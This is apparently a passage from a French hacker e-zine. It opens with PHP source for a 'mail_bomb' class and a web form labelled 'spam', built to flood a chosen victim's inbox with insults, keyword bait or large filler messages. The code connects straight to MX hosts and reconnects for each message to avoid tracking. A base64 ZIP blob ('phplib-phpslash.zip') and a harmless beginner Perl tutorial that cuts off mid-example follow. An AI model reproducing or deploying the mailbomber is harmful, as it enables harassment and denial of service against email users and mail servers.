  // contruit l'objet mail
  $this->parts[] = array (
        "ctype" => $ctype,
        "message" => $message,
        "encode" => $encode,
        "name" => $name
        );
  }

function build_message($part)
 {
 // contruit la chaine d'encodage en respect
 // du rfc 821
 $message = $part["message"];
 $message = chunk_split(base64_encode($message));
 $encoding = "base64";
 return "Content-Type: ".$part["ctype"].
                        ($part["name"]?"; name = \"".$part["name"]."\"" : "").
                        "\nContent-Transfer-Encoding: $encoding\n\n$message\n";
 }

function build_multipart() 
 {
 // contruit le multipart en respect
 // du rfc 821
 $boundary = "----_=_NextPart_000_b".md5(uniqid(time()));
 $multipart = "Content-Type: multipart/mixed; boundary = $boundary\n\nThis is a MIME encoded message.\n\n--$boundary";
 for($i = sizeof($this->parts)-1; $i >= 0; $i--) 
    {
    $multipart .= "\n".$this->build_message($this->parts[$i])."--$boundary";
    }
 return $multipart.= "--\n";
 }


function smtp_open($server, $port)
 {
 // ouvre une connexion telnet sur un serveur et port donn
 // et retourne le resultat
 global $SMTP_GLOBAL_STATUS;
 $smtp = fsockopen($server, $port);
 if ($smtp<0) return 0;
 $line = fgets($smtp, 1024);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line,0,1);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line,0,1024);
 if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0;
 return $smtp;
 }

 
function smtp_helo($smtp)
 {
 // verifie si le serveur est bien un smtp en envoyant un
 // commande HELO et en retournant true si etablie
 global $SMTP_GLOBAL_STATUS;
  /* 'localhost' always works [Unk] */ 
 fputs($smtp,  "helo localhost\r\n");
 $line = fgets($smtp, 1024);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024);
 if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <>  "2") return 0;
 return 1;
 }
 
function smtp_mail_from($smtp, $from)
 {
 // commence a construire le header du mail
 // (mail from)
 global $SMTP_GLOBAL_STATUS;
 fputs($smtp,  "MAIL FROM: <$from>\r\n");
 $line = fgets($smtp, 1024);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024);
 if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <>  "2") return 0;
 return 1;
 }
 
function smtp_rcpt_to($smtp, $to)
 {
 // header du mail (suite)
 // (rcpt to)
 global $SMTP_GLOBAL_STATUS;
 fputs($smtp,  "RCPT TO: <$to>\r\n");
 $line = fgets($smtp, 1024);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024);
 if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <>  "2") return 0;
 return 1;
 }

function smtp_data($smtp, $subject, $data)
 {
 // le message et le header complet sont envoyes
 // (data)
 global $SMTP_GLOBAL_STATUS;
 fputs($smtp,  "DATA\r\n");
 $line = fgets($smtp, 1024);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024);
 if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <>  "3") return 0;
 fputs($smtp,  "Subject: $subject\r\n");  
 fputs($smtp,  "MIME-Version: 1.0\r\n");
 fputs($smtp,  "Content-Type: text/plain;\r\n");
 fputs($smtp,  "	charset=\"iso-8859-1\"\r\n");
 fputs($smtp,  "Content-Transfer-Encoding: 8bit\r\n");
 fputs($smtp,  "X-Priority: 3\r\n");
 fputs($smtp,  "X-MSMail-Priority: Normal\r\n");
 fputs($smtp,  "X-Mailer: Mailbomber 0.6\r\n");
 fputs($smtp,  "X-MimeOLE: Produced By Savate System\r\n\r\n");
 fputs($smtp,  "$data\r\n\r\n");
 fputs($smtp,  ".\r\n");
 $line = fgets($smtp, 1024);
 if (substr($line, 0, 1) <>  "2") return 0; 
 return 1;
 }
 
function smtp_quit($smtp)
 {
 // deconnexion du serveur
 // (quit)
 global $SMTP_GLOBAL_STATUS;
 fputs($smtp,  "QUIT\r\n");
 $line = fgets($smtp, 1024);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1);
 $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024);
 if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <>  "2") return 0;
 return 1;
 } 


function sendmail($msg)
 {
 // la partie difficile : se connecter au MX host le plus
 // proche du smtp et fermer la connexion a chaque envoi
 // pour eviter que le robot traque les envois multiples
 // en se referant a la chaine unique md5
 list ($user,$domain) = split ("@",$this->from,2); 
 $arr = explode (".",$domain); 
 $count = count ($arr); 
 $tld = $arr[$count-2].".".$arr[$count-1]; 
 if (checkdnsrr($tld,"MX")) 
  { 
  if(getmxrr($tld,$mxhosts,$weight)) { 
    for ($i=0;$i<count($mxhosts);$i++) { 
      $tempdomain=$mxhosts[$i];
      $smtp=$this->smtp_open($tempdomain,25); 	
      if($this->smtp_helo($smtp)) {
	if($this->smtp_mail_from($smtp,$this->from)) {
	  if($this->smtp_rcpt_to($smtp,$this->from))   {
	    if($this->smtp_data($smtp, $this->subject, $msg)) {
	      if($this->smtp_quit($smtp)) {
		return "courrier envoy";
		}
	      else {
		return "Deconnexion foireuse";
		}
	      }
	    else {
	      return "Message refus";
	      }
	    }
	  else { 
	    return "Destinataire refus";
	    }
	  }
	else {
	  return "Expediteur refus";
	  }
	}
      else {
	return "Connexion refuse";
	}
      // end of for loop
      }
    }
  else {
    return "Problemes de checking MX";
    }
  }
 else {
  return "Problem de checking DNS avec le MX host";
  }
 }



 /* Methodes Publiques */


 function refresh()
   {
   // rappelle la page en cours en incrementant le compteur
   // ou en rappelant la page d'accueil si la boucle est finie
   // (usage batch prfr pour contourner le time_limit)
   global $PHP_SELF;
   $content	= $this->content;
   $louzeur	= $this->from;
   $mass	= $this->mass;
   $mass++;
   $max		= $this->max;
   if($mass!=$max) {
      echo "<html><head><script>document.location='$PHP_SELF?mass=$mass&max=$max&content=$content&louzeur=$louzeur';</script></html>";
      }
   else {
      echo "<html><head><script>document.location='$PHP_SELF';</script></html>";
      }
   }


 function randomize_title()
   {
   // retourne un mot pris au hasard dans la liste
   // echelon
   global $words;
   $b=count($words);
   srand(microtime()+time());
   $d=intval(rand(1,$b));
   $title=$words[$d];
   return $title;
   }

 function get_message()
   {
   $content=$this->content;
   if($content=="echelon") return $this->echelon();
   else if($content=="insults") return $this->insults();
   else if($content=="file") return $this->saturate();
   else return "O";
   }

 function send() 
  {
  // faire quelques verifs avant d'envoyer le msg
  $mime = "";
  if (!empty($this->from))    $mime .= "From: ".$this->from."\n";
  if (!empty($this->headers)) $mime .= $this->headers."\n";
  if (!empty($this->body))    $this->add_attachment($this->body, "", "text/plain");   
  $mime .= "MIME-Version: 1.0\n".$this->headers.$this->body;
  // envoyer le msg
  $a=$this->sendmail($this->body);
  return $a;
  // pour debug : echo "<prE><font  face=fixedsys>\n".$this->to."\n".$this->subject."\n".$mime."</font></pre>";
  }
}; // fin de la class





 /***************************************
 *      UN EXEMPLE D'UTILISATION        *
 ***************************************/

if($mass<$max)
   {
   $mail = new mail_bomb;
   $mail->mass 		= $mass;
   $mail->max  		= $max;
   $mail->content	= $content;
   $mail->from 		= $louzeur;
   $mail->to 		= $mailto;
   $message = $mail->get_message();
   $mail->body 		= $message;
   $title   = $mail->randomize_title();
   $mail->subject 	= $title;
   $mail->headers 	= "MIME-Version: 1.0
Content-Type: text/plain;
	charset=\"iso-8859-1\"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Mailbomber 0.6
X-MimeOLE: Produced By 3S";
	$mail_bomb=$mail->send();
	if ($mail_bomb)
	   {
	   echo "Log : $mail_bomb<br>$louzeur<br>", "$title<br>", "$message";
	   $mail->refresh();
	   }
	else 	
	   {
	   echo "Problemes rencontres lors de l'envoi du mail : $mail_bomb";
   	   }
   	}
 else
	{
	echo "
	<form action=$PHP_SELF method=post action=$PHP_SELF>
	<b>Bomber<input name=louzeur size=25 value=";
	if($louzeur) echo $louzeur;
	else echo "louzeur@domaine.naze";
	echo " type=text><br>
	Avec<input size=1 type=text name=max value=";
	if($max) echo $max;
	else echo "20";
	echo "> mails chargs avec 
	<select name=content>
	<option value=echelon";
	if($content=="echelon") echo " selected";
	echo ">des mot cls 'echelon'
	<option value=insults";
	if($content=="insults") echo " selected";		
	echo ">des insultes
	<option value=file";
	if($content=="file") echo " selected";		
	echo ">plein de mots (moyenne=200k)
	</select>
	<br><input type=submit value=spam></form>";
	}





`,,`,,`,,``,,`,,`,















                     _        ______________________        _
-*7*-                 `^*;:,.>  Phplib-Phpslash   <.,:;*^`
_____________________________/By courou & tob\___________________________
`,,`,,`,,``,,`,,`,



blah blah blah avec ton encordeur tu encoderas et 
avec ton decodeur tu decoderas....




Content-Type: application/x-zip-compressed;
Content-Transfer-Encoding: base64
	filename="phplib-phpslash.zip"

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
aFBLBQYAAAAAAQABAD0AAACXFwAAAAA=



`,,`,,`,,``,,`,,`,











                     _        ______________________        _
-*8*-                 `^*;:,.>  Un tutorial PERL  <.,:;*^`
_____________________________/  By BirkOss    \___________________________
`,,`,,`,,``,,`,,`,


Tutorial de perl By birkoss@yahoo.fr QHA

Introduction 
-=-=-=-=-=-= 
Le language PERL est tres ressemblant du C. Je dit ca parce que 
plusieurs cote de C se retrouvent aussi dans le PERL. 
Si vous programmez en C, la programmation en PERL ne sera pas 
trop difficile. 


La base 
-=-=-=- 
Votre source peux avoir comme nom n'importe quoi (ex: TEST, 
essaie.pl, etc..) Mais c'est conseiller de prendre l'extension .pl 

Comme le PERL ne se compile pas, il y a deux facons de l'executer. 

1) Avec perl fichier.pl 
2) Avec chmod 755 fichier.pl, et ensuite ./fichier.pl 

En PERL, les instructions doivent (comme en C/C++) finir par un 
point-virgule ( ; ). Les espaces et autres choses sont quelquefois 
libres au programmeur. 

Les commentaires commence avec un ( # ). Exemple 
print "Salut"; # Ce qui est apres #, est ignor. 

La premiere ligne de ton script doit commencer par le chemin 
indiquant ou est PERL. Pour savoir ou est le binaire de PERL, taper : 

find / -name perl -print 

Chez nous, il est dans /usr/bin/perl donc, pour la premiere ligne, 
je vais mettre : 

#!/usr/bin/perl 



Les variables 
-=-=-=-=-=-=- 

 Les chaines de caracteres/caracteres/entiers 
 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 
La variable doit commencer par un ( $ ) et doit avoir comme premier 
caractere une lettre, apres, c'est au choix du programmeur. 
Le PERL accorde aussi le caractere ( _ ) pour les noms. Exemple : 

$CHAINE = "Votre chaine"; 
$age = 16; 
$Mon_nick = "birkoss"; 

IMPOSSIBLE: 
$69pour = "bla bla bla"; 
$Marche-pas = "compris ?"; 


 Les tableaux 
 -=-=-=-=-=-= 
Les tableaux doivent commencer, contrairement par un ( @ ), et 
doit lui aussi commencer par une lettre. Exemple : 

@tableau = (1,2,3,4,5,6,7,8,9,10); 
@tableau2 = @tableau; 
@lettre = ('a','b','c','d','e'); 
@mixte = ('a',2,3,4,'e',5,6,7,'i'); 
@mot = ("QHA","will","never","die"); 

 Affectation et operateur 
 -=-=-=-=-=-=-=-=-=-=-=-= 
Pour les entiers, les operateurs sont : 
+ (Additionner) 
- (Soustraire) 
* (Multiplier) 
/ (Diviser) 

On peux faire en comme en C : 

$nombre = 0; 
$nombre++; #++ est egal a +1 

 Afficher du texte/variable (Avec print) 
 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 
Comme je l'ait dit plutot, le perl peut ecrire une fonction de 
differente facon. Les 3 exemples suivants sont equivalents : 

print("Salut"); 
print "Salut"; 
print 'Salut'; 



Voici un petit exemple : 

---------- Code ------------ 

#!/usr/bin/perl 
$Crew_le_plus_hot = "QHA"; 
print "Quel est le crew le plus hot : $Crew_le_plus_hot"; 

--------Fin du code------------ 

Cet exemple va afficher : 

Quel est le crew le plus hot : QHA 

Pour afficher un tableau, c'est le meme principe : 
print "Tableau : @tableau"; 
Comme en C, l'utilisation de \n pour afficher un saut de ligne 
est permis. Pour afficher sur un autre ligne, tu peux aussi 
faire : 

print "Ce 
texte 
est 
sur 
des 
lignes 
differentes"; 



Les boucles 
-=-=-=-=-=- 

 if 
 =- 
if sert a faire une boucle. Sa syntaxe est : 

if(expression) 
   { 
   instruction a faire si l'expression est vraie 
   } 

Dans l'expression, il doit y avoir un operateur. Pour les 
entiers, ils sont comme en C : 

== (Egal) 
!= (Different) 
> (Plus grand) 
< (Plus petit) 
>= (Plus grand ou egal) 
<= (Plus petit ou egal) 

Pour les chaines de caracteres : 

eq (Egal) 
ne (Different) 
lt (Inferieur) 
gt (Superieur) 
le (Inferieur ou egal) 
ge (Superieur ou egal) 

Dans une expression, il peut y avoir 2 chiffre. Exemple : 

if(10==10) # Si 10 est egal a 10 

Une variable et un chiffre : 

$age= 16; if($age > 18) # Si $age (16) est 
                        # plus grand que 18 

Ou deux variables : 

$Yeux = "brun"; 
$cheveux = "brun"; 
if($yeux eq $cheveux) # Si $yeux (brun) est pareil 
                      # a $cheveux (brun) 

 else 
 -=-= 
Le else accompagne habituellement le if. Le else 
sinifie 'sinon'. Si la condition du if n'est pas vraie, 
le programme continue son execution dans le else. 

Exemple : 

$nombre = 12; 
if($nombre == 10) 
   { 
   print "Le nombre vaut 10"; 
   } 
else 
   { 
   print "le nombre ne vaut pas 10"; 
   } 
   
(ndt : notez qu'en ajoutant trois espaces a tous les
elements concernes par la condition le code devient
beaucoup plus lisible)

 elseif 
 -=-=-= 
elseif agit comme un if. Exemple : 

$nombre==12; 
if($nombre==10) 
   { 
